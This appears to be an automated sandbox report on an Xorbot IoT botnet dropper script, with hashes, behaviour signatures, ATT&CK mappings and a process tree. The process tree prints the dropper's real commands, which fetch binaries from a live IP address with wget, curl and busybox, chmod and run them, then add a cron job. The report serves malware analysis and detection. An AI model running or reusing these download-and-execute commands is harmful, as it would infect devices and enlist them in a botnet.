xorbot | 98e186433c1f97db494e03c17ebe6d5d9212bdb42cfa6c2227d57bd22922ff1f

Analysis

max time kernel
123s
max time network
104s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
02-12-2024 12:17

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General

Target

bins.sh
Size

10KB
MD5

190e6507e4a3dcd6b4508c2b85bf651e
SHA1

1e115fc1b223bbb586a8fd07e179303365f58719
SHA256

98e186433c1f97db494e03c17ebe6d5d9212bdb42cfa6c2227d57bd22922ff1f
SHA512

5f6afb085a5a5a421cc11c81e42f23150724a91df3078252a5d28fe9b98a5547411b3d62d7ef7a4d1e3358f9fd8c46633f8452abe0da455c8a0ec9b42b152bfb
SSDEEP

96:bF5lteaknj9njGknj1jCjyjXj3j7uOCr997qmufsKYDPJ5lKknj9njGknj1jCjyV:bHeakn5nCknBOmTaDn5nCknBOmV

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-6.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
730	chmod
744	chmod

Executes dropped EXE 2 IoCs

Processes:

Vugc20skpjlfDkPWPu5ths7zFkE71flXrPCxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK

ioc	pid	Process
/tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP	731	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
/tmp/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK	745	Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK

Renames itself 1 IoCs

Processes:

Vugc20skpjlfDkPWPu5ths7zFkE71flXrP

pid	Process
732	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.dqvbfh	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

Vugc20skpjlfDkPWPu5ths7zFkE71flXrP

description	ioc	Process
File opened for reading	/proc/322/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/697/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/756/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/773/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/10/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/455/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/780/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/748/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/771/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/811/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/827/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/81/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/737/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/757/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/784/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/2/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/797/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/802/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/21/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/37/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/315/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/696/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/786/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/823/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/825/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/8/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/700/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/726/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/734/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/6/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/370/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/759/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/814/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/7/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/386/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/753/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/805/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/749/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/17/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/166/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/373/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/743/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/821/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/12/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/13/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/22/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/450/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/782/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/795/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/73/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/755/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/758/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/775/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/740/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/765/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/812/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/829/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/14/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/16/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/223/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/735/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/69/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/741/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
File opened for reading	/proc/3/cmdline	Vugc20skpjlfDkPWPu5ths7zFkE71flXrP

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxbusybox

description	ioc	Process
File opened for modification	/tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP	wget
File opened for modification	/tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP	curl
File opened for modification	/tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP	busybox
File opened for modification	/tmp/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:702
- /usr/bin/wget
  wget http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod 777 Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  ./Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:731
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:733
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:734
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:739
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:740
- /bin/rm
  rm Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
  2⤵
  PID:736
- /usr/bin/wget
  wget http://216.126.231.240/bins/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
  2⤵
  PID:742
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
  ./Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
  2⤵
  PID:747
- /usr/bin/wget
  wget http://216.126.231.240/bins/mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
  2⤵
  PID:748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.dqvbfh

Filesize
210B

MD5
12706847e82d227eee1c52ff1bb4f613

SHA1
b0445bce1fe619a842b05ae14b85b4874a19c279

SHA256
0926ed3f486976989ccaaf87cfdbf374de7bed644bbceff0edd96fc066b385d2

SHA512
da003b44788531c437c5b4812fb07e2b27307665d587979462e41b0defaf4303effa471eb47403e47e1aa7b6bd4148ad0657040c386c1a0599f37d87eb7074d7

Download Submit